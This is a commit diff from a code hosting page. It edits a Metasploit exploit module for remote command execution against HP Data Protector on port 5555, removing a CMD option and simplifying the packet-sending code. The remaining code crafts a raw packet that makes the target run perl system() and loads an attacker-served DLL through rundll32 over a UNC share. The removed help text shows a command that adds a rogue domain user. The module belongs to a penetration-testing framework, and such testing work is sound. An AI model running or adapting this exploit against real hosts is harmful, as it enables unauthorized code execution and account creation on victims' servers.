Skip to content

Commit e04ff3e

Browse files
committed
Delete CMD option
1 parent d4337ce commit e04ff3e

File tree

1 file changed

+12
-36
lines changed

1 file changed

+12
-36
lines changed

modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb

Lines changed: 12 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,6 @@ def initialize(info={})
4545
register_options(
4646
[
4747
Opt::RPORT(5555),
48-
OptString.new('CMD',[false, 'The command to run e.g. net user hacker hacker123 /add /domain']),
4948
OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll'])
5049
], self.class)
5150

@@ -92,52 +91,29 @@ def get_fingerprint
9291
end
9392

9493
def exec_bar(cmd)
95-
connect
96-
cmd = cmd.gsub("\\", "\\\\\\\\")
97-
vprint_status("Sending Command: #{cmd}")
94+
cmd.gsub!("\\", "\\\\\\\\")
95+
9896
cmd_no = target['Offset'] + cmd.length
99-
vprint_status("Size is #{cmd_no}")
97+
10098
pkt = "\x00\x00\x00"
10199
pkt << cmd_no
102100
pkt << "\x32\x00\x01\x01\x01\x01\x01\x01\x00\x01\x00\x01"
103101
pkt << "\x00\x01\x00\x01\x01\x00\x20\x32\x38\x00\x5c\x70"
104102
pkt << "\x65\x72\x6c\x2e\x65\x78\x65\x00\x20\x2d\x65\x73\x79\x73\x74\x65\x6d" # perl -e system('cmd')
105103
pkt << "('#{cmd}')" # Executable
106104
pkt << "\x00"
107-
sock.put(pkt)
108-
# In my testing the default timeout (10) isn't enough
109-
if datastore['CMD']
110-
begin
111-
res = sock.get_once(-1, 20)
112-
rescue EOFError # happens when using the Powershell method
113-
disconnect
114-
return
115-
end
116-
fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res)
117-
disconnect
118-
else
119-
handler
120-
disconnect
121-
end
122-
end
123105

124-
def exec_bar?(data)
125-
return false if data.blank?
126-
data_unpacked = data.unpack("NnVv")
127-
data_unpacked.length == 4 && data_unpacked[0] == 16 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x39 && data_unpacked[3] == 0x20
106+
connect
107+
sock.put(pkt)
108+
disconnect
128109
end
129110

130111
def primer
131-
if datastore['CMD']
132-
print_status("Executing command #{datastore['CMD']}")
133-
exec_bar(datastore['CMD'])
134-
else
135-
self.file_contents = generate_payload_dll
136-
print_status("File available on #{unc}...")
137-
print_status("Sending load DLL to #{datastore['RHOST']}:#{datastore['RPORT']} - #{unc}")
138-
sploit = "rundll32.exe #{unc},"
139-
sploit << rand_text_numeric(1)
140-
exec_bar(sploit)
141-
end
112+
self.file_contents = generate_payload_dll
113+
print_status("File available on #{unc}...")
114+
115+
print_status("#{peer} - Trying to execute remote DLL...")
116+
sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}"
117+
exec_bar(sploit)
142118
end
143119
end

0 commit comments

Comments
 (0)